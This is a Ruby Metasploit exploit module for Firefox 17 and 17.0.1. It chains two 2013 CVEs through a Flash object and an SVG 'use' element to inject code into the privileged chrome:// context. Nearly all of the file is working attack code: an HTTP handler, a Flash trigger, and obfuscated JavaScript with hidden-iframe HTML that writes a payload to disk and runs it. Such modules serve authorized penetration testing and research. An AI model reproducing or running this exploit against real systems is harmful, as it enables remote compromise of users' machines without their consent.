186 lines
6.4 KiB
Ruby
186 lines
6.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::BrowserExploitServer
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include Msf::Exploit::EXE
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# include Msf::Exploit::Remote::BrowserAutopwn
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include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
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# autopwn_info({
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# :ua_name => HttpClients::FF,
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# :ua_minver => "17.0",
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# :ua_maxver => "17.0.1",
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# :javascript => true,
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# :rank => NormalRanking
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# })
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
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'Description' => %q{
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This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
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the user has installed Flash. No memory corruption is used.
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First, a Flash object is cloned into the anonymous content of the SVG
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"use" element in the <body> (CVE-2013-0758). From there, the Flash object
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can navigate a child frame to a URL in the chrome:// scheme.
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Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
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around the child frame's window reference and inject code into the chrome://
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context. Once we have injection into the chrome execution context, we can write
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the payload to disk, chmod it (if posix), and then execute.
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Note: Flash is used here to trigger the exploit but any Firefox plugin
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with script access should be able to trigger it.
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},
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'License' => MSF_LICENSE,
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'Targets' => [
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[
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'Universal (Javascript XPCOM Shell)', {
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'Platform' => 'firefox',
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'Arch' => ARCH_FIREFOX
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}
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],
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[
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'Native Payload', {
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'Platform' => %w{ java linux osx solaris win },
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'Arch' => ARCH_ALL
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}
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]
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],
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'DefaultTarget' => 0,
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'Author' =>
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[
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'Marius Mlynski', # discovery & bug report
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'joev', # metasploit module
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'sinn3r' # metasploit fu
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],
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'References' =>
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[
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['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
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['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
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['OSVDB', '89019'], # maps to CVE 2013-0757
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['OSVDB', '89020'], # maps to CVE 2013-0758
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['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
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['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
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],
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'DisclosureDate' => 'Jan 08 2013',
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'BrowserRequirements' => {
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:source => 'script',
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:ua_name => HttpClients::FF,
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:ua_ver => /17\..*/,
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:flash => /[\d.]+/
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}
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))
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register_options(
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[
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OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
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OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
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], Auxiliary::Timed)
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end
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def on_request_exploit(cli, request, info)
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if request.uri =~ /\.swf$/
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# send Flash .swf for navigating the frame to chrome://
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print_status("Sending .swf trigger.")
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send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
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else
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# send initial HTML page
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print_status("Target selected: #{target.name}")
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print_status("Sending #{self.name}")
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send_response_html(cli, generate_html(cli, target))
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end
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end
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# @return [String] the contents of the .swf file used to trigger the exploit
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def flash_trigger
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swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
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@flash_trigger ||= File.read(swf_path)
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end
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# @return [String] containing javascript that will alert a debug string
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# if the DEBUG is set to true
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def js_debug(str, quote="'")
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if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
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end
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# @return [String] HTML that is sent in the first response to the client
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def generate_html(cli, target)
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vars = {
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:symbol_id => 'a',
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:random_domain => 'safe',
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:payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin
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:payload_var => 'c',
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:payload_key => 'k',
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:payload_obj_var => 'payload_obj',
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:interval_var => 'itvl',
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:access_string => 'access',
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:frame_ref => 'frames[0]',
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:frame_name => 'n',
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:loader_path => "#{get_module_uri}.swf",
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:content => self.datastore['CONTENT'] || ''
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}
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script = js_obfuscate %Q|
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var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
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var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
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function $() {
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document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
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}
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function _() {
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return '#{vars[:frame_name]}';
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}
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var #{vars[:interval_var]} = setInterval(function(){
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try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
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catch(e){
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clearInterval(#{vars[:interval_var]});
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var p = Object.getPrototypeOf(#{vars[:frame_ref]});
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var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
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Object.prototype.__lookupSetter__("__proto__").call(p, o);
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p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
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}
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}, 100);
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document.querySelector('object').data = "#{vars[:loader_path]}";
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document.querySelector('use').setAttributeNS(
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"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
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);
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%Q|
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<!doctype html>
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<html>
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<head>
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<base href="chrome://browser/content/">
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</head>
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<body>
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<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
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<symbol id="#{vars[:symbol_id]}">
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<foreignObject>
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<object></object>
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</foreignObject>
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</symbol>
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<use />
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</svg>
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<script>
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#{script}
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</script>
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<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
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name="#{vars[:frame_name]}"></iframe>
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#{vars[:content]}
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</body>
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</html>
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end
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end
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